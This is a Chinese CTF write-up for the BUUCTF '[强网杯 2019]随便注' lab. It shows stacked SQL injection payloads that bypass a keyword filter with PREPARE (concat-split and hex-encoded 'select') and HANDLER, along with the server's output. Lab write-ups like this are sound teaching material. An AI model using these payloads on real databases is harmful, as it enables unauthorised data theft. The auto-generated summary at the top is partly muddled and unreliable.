BUUCTF [强网杯 2019]随便注 1

buuctf,随便 · 浏览次数 : 28

小编点评

**1. 存在注入点错误** ```sql 1' union select 1, 2, 报错return preg_match(\"/select|update|delete|drop|insert|where|\\./i\",$inject); ``` **2. 预编译查询** ```sql PREPARE hacker from concat('s', 'elect', ' * from `1919810931114514` ');EXECUTE hacker; ``` **3. 注入字符串** ```sql 1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker; ``` **4. 表结构展示** ```sql SHOW tables -- 展示有哪些表array(1) { [0]=> string(16) \"1919810931114514\"}array(1) { [0]=> string(5) \"words\"} ``` **解释:** 1. 首先,我们使用预编译语句 `PREPARE hacker` 来创建一个名为 `hacker` 的查询器。 2. 然后,我们使用 `EXECUTE hacker` 执行该查询器。 3. 由于 `hacker` 是一个预编译器,它会绕过 SQL 语法检查, allowing us to inject malicious SQL 语句。 4. 最后,我们使用 `SHOW tables` 语句展示了包含恶意表的表的结构。

正文

1. 拿到题目,先输入一个1'试一下是否存在注入点
报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
说明存在注入点,而且是mariaDB,那么可以使用mysql的语法操作
2. 联合查询一下,输入1' union select 1, 2, 报错
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明后端有对传入数据做检查,不让出现这些关键字
3. 注入1' ;show tables -- 展示有哪些表
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
4. 查看一下1919810931114514这张表的结构,注入
1'; desc `1919810931114514` #

回显

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

说明该表有个字段叫flag,需要把这个表的数据输出出来

方法一: 通过预编译手段(通过拼接select 绕过检查)

1';PREPARE hacker from concat('s', 'elect', ' * from `1919810931114514` ');EXECUTE hacker;#

方法二:通过预编译手段(通过将查询语句进行16进制编码绕过)

select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460

注入
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

或

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#


方法三: 通过mysql的 handler语法
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

PS: 语法讲解

1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
  1. handler
    handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

与BUUCTF [强网杯 2019]随便注 1相似的内容:

BUUCTF [强网杯 2019]随便注 1

1. 拿到题目,先输入一个1'试一下是否存在注入点 报错 error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for t

[BUUCTF][Web][极客大挑战 2019]EasySQL 1

打开靶机对应的url 界面显示需要输入账号和密码 分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如 123' 发现两个框可以注入,因为报了个错误信息 You have an error in your SQL syntax; check the manual that correspon

[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码

[BUUCTF][Web][极客大挑战 2019]Havefun 1

打开靶机的URL,看到一个页面 右键查看源代码,看到有用信息 ...

[BUUCTF][Web][ACTF2020 新生赛]Include 1

打开靶机对应的url 显示一个tips 超链接 点击访问超链接,对应Url为 http://469398f2-5677-4270-a4a4-55c5e4a7504a.node4.buuoj.cn:81/?file=flag.php 显示信息Can you find out the flag, 右键查

[BUUCTF][Web][ACTF2020 新生赛]Exec 1

打开靶机对应url 显示可以输出ip 来进行ping操作 尝试试一下是否有命令注入的可能 127.0.0.1|ls 果然可以,输出结果 index.php PING 127.0.0.1 (127.0.0.1): 56 data bytes 按照套路估计是在根目录,试一下 127.0.0.1|ls /

[BUUCTF][Web][SUCTF 2019]EasySQL 1

这一题有点蛋疼,比较难顶 看了别人的write up 也很难get到解题思路,感觉必须要拿到源码进行审计才能解 大佬们猜后端是这么写的 select $_POST['query'] || flag from Flag; 这里使用或来拼接字段名称 那么输入*,1, 用1 || flag得到1,这样拼接

[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1

打开靶机对应URL 提示有ip参数 尝试构造url http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1 显示 /?ip= PING 127.0.0.1 (127.0.0.1): 56 data byt

[BUUCTF][Web][极客大挑战 2019]Secret File 1

打开靶机对应的url 右键查看网页源代码,查看到一个访问路径 /Archive_room.php 构造url访问一下 http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php 右键再次查看源代码,有一

[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题 爆出一下错误 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server versi